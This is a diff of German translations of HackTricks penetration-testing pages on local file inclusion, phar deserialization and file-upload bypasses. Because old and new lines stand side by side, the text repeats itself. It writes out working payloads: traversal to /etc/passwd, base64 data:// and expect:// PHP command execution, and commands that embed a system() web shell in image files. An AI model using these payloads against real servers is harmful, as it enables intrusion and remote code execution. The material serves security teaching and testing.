Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path-Truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
@ -109,7 +113,7 @@ In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur d
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path-Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -121,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
@ -151,7 +155,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
> [!NOTE]
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre:
Ein weiteres Beispiel **ohne die Verwendung des `php://` Protokolls** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -209,15 +213,15 @@ Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Date
### php://filter
PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- [String-Filter](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist.
- [Konvertierungsfilter](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
@ -225,18 +229,18 @@ PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
- `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch den Missbrauch des `convert.iconv.*` Konversionsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include dazu zu bringen, willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Durch den Missbrauch des `convert.iconv.*`-Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include dazu zu bringen, willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
- `zlib.inflate`: Dekomprimiert die Daten
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- [Verschlüsselungsfilter](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Veraltet
- `mdecrypt.*` : Veraltet
- Andere Filter
- Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden:
- `consumed`
- `dechunk`: kehrt die HTTP-chunked Kodierung um
- `dechunk`: Kehrt die HTTP-chunked Kodierung um
- `convert.*`
```php
# String Filters
@ -269,7 +273,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
@ -279,11 +283,11 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben leakt**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den Anfangsbuchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und die **Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zum automatischen Ausführen dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -326,7 +330,7 @@ Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen **`allow_url_o
### expect://
Expect muss aktiviert sein. Sie können Code damit ausführen:
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -354,7 +358,7 @@ php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
@ -366,9 +370,9 @@ phar-deserialization.md
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt, zu missbrauchen**, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt**, zu missbrauchen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr schnelle Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde missbraucht, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr php-Filter missbraucht wurden.
Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr PHP-Filter missbraucht wurden.
### Weitere Protokolle
@ -406,7 +410,7 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**.
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über den PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
@ -414,7 +418,7 @@ Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zu
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für technische Details siehe den genannten Beitrag!
Für die technischen Details siehe den genannten Beitrag!
## LFI2RCE
@ -476,7 +480,7 @@ Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und gre
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP-Sitzungen
### Über PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
```
@ -517,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php-Filter (keine Datei erforderlich)
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Einbindung **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
{{#ref}}
lfi2rce-via-php-filters.md
@ -525,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via Segmentierungsfehler
**Laden Sie** eine Datei hoch, die als **vorübergehend** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **vorübergehende Datei wird nicht gelöscht** und Sie können danach danach suchen.
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann im **gleichen Request** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können danach suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -541,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
@ -557,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL-Argumente
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
```bash
@ -572,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten:
Wenn Sie eine **Local File Inclusion** und eine Datei gefunden haben, die **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten:
{{#ref}}
lfi2rce-via-phpinfo.md

8
src/pentesting-web/file-inclusion/phar-deserialization.md
View File

@ -2,8 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar**-Dateien (PHP Archive) enthalten **Metadaten im serialisierten Format**, sodass beim Parsen diese **Metadaten** **deserialisiert** werden und Sie versuchen können, eine **Deserialisierungs**-Schwachstelle im **PHP**-Code auszunutzen.
Das Beste an dieser Eigenschaft ist, dass diese Deserialisierung selbst bei der Verwendung von PHP-Funktionen auftritt, die keinen PHP-Code auswerten, wie **file_get_contents(), fopen(), file() oder file_exists(), md5_file(), filemtime() oder filesize()**.
@ -61,8 +59,8 @@ php vuln.php
```
### Referenzen
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

36
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Allgemeine Methodik für Datei-Uploads
Weitere nützliche Erweiterungen:
@ -32,7 +31,7 @@ Weitere nützliche Erweiterungen:
- _file._
- _file.php...._
- _file.pHp5...._
4. Versuchen Sie, die Schutzmaßnahmen **zu umgehen, indem Sie den Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -44,15 +43,15 @@ Weitere nützliche Erweiterungen:
5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu platzieren und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
- _ex: file.php.png_
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php
```
# Linux maximal 255 Bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -62,22 +61,22 @@ AAA<--SNIP 232 A-->AAA.php.png
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream setzen.
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks**- [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks**- [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
